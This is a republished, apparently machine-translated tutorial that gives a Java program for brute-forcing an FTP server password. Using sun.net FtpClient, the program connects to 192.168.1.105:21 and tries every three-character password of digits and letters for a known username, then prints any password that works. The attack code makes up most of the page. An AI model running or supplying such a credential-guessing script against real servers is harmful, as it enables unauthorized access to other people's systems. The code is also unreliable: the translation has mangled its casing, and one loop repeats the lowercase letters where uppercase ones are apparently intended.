Java implements brute force password login to the FTP server

Source: Internet
Author: User
Tags ftp commands ftp client

The sun.net package contains many protocols, such as FTP, SMTP, and www.

The ftpclient class in the FTP package can implement an FTP client, which provides some common FTP commands, such as connecting to the server, logging on to the server, and uploading and downloading files.

The related methods are encapsulated with FTP commands, which can be conveniently called.

The disadvantage is that the return values of many methods are void, such as logging on to the server. When the user name or password is incorrect, an exception is thrown, and void is returned when the user name or password is correct. It does not return FTP error code.

When an error occurs, capture the exception and output it. The FTP error code is displayed.

I only used three methods here. One is to build an ftpclient object, the other is to connect to the server, and the other is to log on to the server. Log on to the server using a password. After testing, the speed is still quite fast.

Package per. eyuan. FTP. core; import Java. io. ioexception; import sun.net. FTP. ftpclient;/*** @ author eyuan * use a brute-force password to log on to the FTP server * assume that the user name is known and the password length is known */public class ftpserverconnect {ftpclient = NULL; string IP = ""; int Port = 0; string username = ""; char [] password; string passwd = "";/*** main () */public static void main (string [] ARGs) {ftpserverconnect FSC = new ftpserverconnect (); FSC. IP = "192.168.1.105"; FSC. port = 21; FSC. username = "MHb"; FSC. password = new char [3]; FSC. connectserver (FSC. IP, FSC. port); stringbuffer sb = new stringbuffer (); For (INT I = 0; I <= 9; I ++) {sb. append (I) ;}for (char CH = 'a'; ch <= 'Z'; ch ++) {sb. append (CH) ;}for (char CH = 'a'; ch <= 'Z'; ch ++) {sb. append (CH);} int sblength = sb. length (); For (INT I = 0; I <sblength; I ++) {FSC. password [0] = sb. charat (I); For (Int J = 0; j <sblength; j ++) {FSC. password [1] = sb. charat (j); For (int K = 0; k <sblength; k ++) {FSC. password [2] = sb. charat (k); FSC. passwd = "" + FSC. password [0] + FSC. password [1] + FSC. password [2]; If (FSC. loginserver (FSC. username, FSC. passwd) {system. out. println ("successfully logged on to the FTP server"); system. out. println ("User Password:" + FSC. passwd); Return ;}}}}} /*** connect to the FTP service on the specified port on the server with the specified IP Address * @ Param string IP server IP Address * @ Param int port Server FTP port * @ return Boolean flagconnectserver whether the server is successfully connected to the server */Public Boolean connectserver (string IP, int port) {Boolean flagconnectserver = true; ftpclient = new ftpclient (); try {ftpclient. openserver (IP, Port); system. out. println ("successfully connected to the server");} catch (ioexception IOE) {flagconnectserver = false; system. out. println ("IP address or port error, unable to connect to the server");} return flagconnectserver ;} /*** use the specified username and password to log on to the specified FTP server * @ Param string username FTP Username * @ Param string password FTP password * @ return Boolean flagloginserver logon successful */Public boolean loginserver (string username, string password) {Boolean flagloginserver = true; try {ftpclient. login (username, password); system. out. println ("Logon successful");} catch (ioexception e) {flagloginserver = false;} return flagloginserver ;}}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.